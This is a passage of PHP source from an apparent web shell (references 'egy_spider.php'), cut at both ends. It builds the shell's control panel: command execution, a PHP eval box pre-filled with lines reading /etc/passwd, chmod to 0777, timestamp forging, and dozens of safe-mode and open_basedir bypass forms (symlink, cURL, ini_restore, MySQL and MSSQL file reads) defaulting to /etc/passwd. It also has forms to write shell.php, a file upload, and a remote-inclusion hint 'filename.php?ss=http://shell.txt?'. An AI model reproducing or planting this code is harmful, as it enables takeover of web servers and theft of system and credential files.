$fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } else{ echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id20').$table_up2.div('id20').$ts; echo "<table class=table1 width=100% align=center>"; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; { echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); echo $te.'</div>'.$table_end1.$fe; } if($unix && @function_exists('touch')){ echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts; echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"]))) .ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>" .ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):("")))); echo sr(15,"<b> or set  Day".$arrow."</b>", '
<select name="day" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>' .ws(4)."<b>Month".$arrow."</b>" .'
<select name="month" size="1">
<option value="January">January</option>
<option value="February">February</option>
<option value="March">March</option>
<option value="April">April</option>
<option value="May">May</option>
<option value="June">June</option>
<option value="July">July</option>
<option value="August">August</option>
<option value="September">September</option>
<option value="October">October</option>
<option value="November">November</option>
<option value="December">December</option>
</select>' .ws(4)."<b>Year".$arrow."</b>" .'
<select name="year" size="1">
<option value="1998">1998</option>
<option value="1999">1999</option>
<option value="2000">2000</option>
<option value="2001">2001</option>
<option value="2002">2002</option>
<option value="2003">2003</option>
<option value="2004">2004</option>
<option value="2005">2005</option>
<option value="2006">2006</option>
<option value="2006">2007</option>
<option value="2006">2008</option>
<option value="2006">2009</option>
<option value="2006">2010</option>
</select>' .ws(4)."<b>Hour".$arrow."</b>" .'
<select name="chasi" size="1">
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
</select>' .ws(4)."<b>Minute".$arrow."</b>" .'
<select name="minutes" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
<option value="53">53</option>
<option value="54">54</option>
<option value="55">55</option>
<option value="56">56</option>
<option value="57">57</option>
<option value="58">58</option>
<option value="59">59</option>
</select>' .ws(4)."<b>Second".$arrow."</b>" .'
<select name="second" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
<option value="53">53</option>
<option value="54">54</option>
<option value="55">55</option>
<option value="56">56</option>
<option value="57">57</option>
<option value="58">58</option>
<option value="59">59</option>
</select>' .in('hidden','cmd',0,'touch') .in('hidden','dir',0,$dir) .ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } $select=''; if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";} if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";} if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";} if($unix && $select){ echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts; echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } if(!$safe_mode){ $aliases2 = ''; foreach ($aliases as $alias_name=>$alias_cmd) { $aliases2 .= "<option>$alias_name</option>"; } echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id5555').$table_up2.div('id5555').$ts; echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id50').$table_up2.div('id50').$ts; echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )"); echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); echo $te.'</div>'.$table_end1.$fe; if(!$safe_mode && $unix){ echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts; echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )"); echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id800').$table_up2.$font; echo "<div align=center>".div('id800')."<textarea name=php_eval cols=100 rows=10>"; echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"egy_spider.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");")); echo "</textarea>"; echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); echo "</div></div></font>"; echo $table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id520').$table_up2.div('id520').$ts; echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id500').$table_up2.div('id500').$ts; echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id510').$table_up2.div('id510').$ts; echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id800').$table_up2.div('id800').$ts; echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id900').$table_up2.div('id900').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id980').$table_up2.div('id980').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; { echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts; echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Paralyzing been planted and you can usefilename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id801').$table_up2.div('id801').$ts; echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id5505').$table_up2.div('id5505').$ts; echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; echo "<table class=table1 width=100% align=center>"; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text151'],'id1221').$table_up2.div('id1221').$ts; echo "<table class=table1 width=100% align=center>"; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test_5_2_6',85,(!empty($_POST['test_5_2_6'])?($_POST['test_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text161'],'id12211').$table_up2.div('id12211').$ts; echo "<table class=table1 width=100% align=center>"; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_5_2_6',85,(!empty($_POST['test2_5_2_6'])?($_POST['test2_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text162'],'id9820').$table_up2.div('id9820').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; echo $fs.$table_up1.div_title($lang[$language.'_text163'],'id9820').$table_up2.div('id9820').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_perl').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; { echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts; echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306")))); echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts; echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id13').$table_up2.div('id13').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text170'],'id2221').$table_up2.div('id2221').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','egy_4_2_0',96,(!empty($_POST['egy_4_2_0'])?($_POST['egy_4_2_0']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_4_2_0').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts; echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { $select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>". "<option value=3 selected>[ 3 ] (<1 sec (default))</option>". "<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>"; echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts; echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts; echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up3.div('id27').$ts; echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13')); echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14')); echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18')); echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts; echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15')); echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts; echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } { echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts; echo "<tr><td valign=top width=70%>".$ts; echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); echo $te."</td><td valign=top width=30%>".$ts; echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe); echo $te."</td></tr>"; echo $te.'</div>'.$table_end1; } { echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts; echo "<tr><td valign=top width=70%>".$ts; echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); echo $te."</td><td valign=top width=30%>".$ts; echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe); echo $te."</td></tr>"; echo $te.'</div>'.$table_end1; } echo $fs.$table_up1.div_title($lang[$language.'_text171'],'id98200').$table_up2.div('id98200').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_5_2_3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; { echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts; echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,'')); echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.'</div>'.$table_end1.$fe; } { echo "<form name=upload 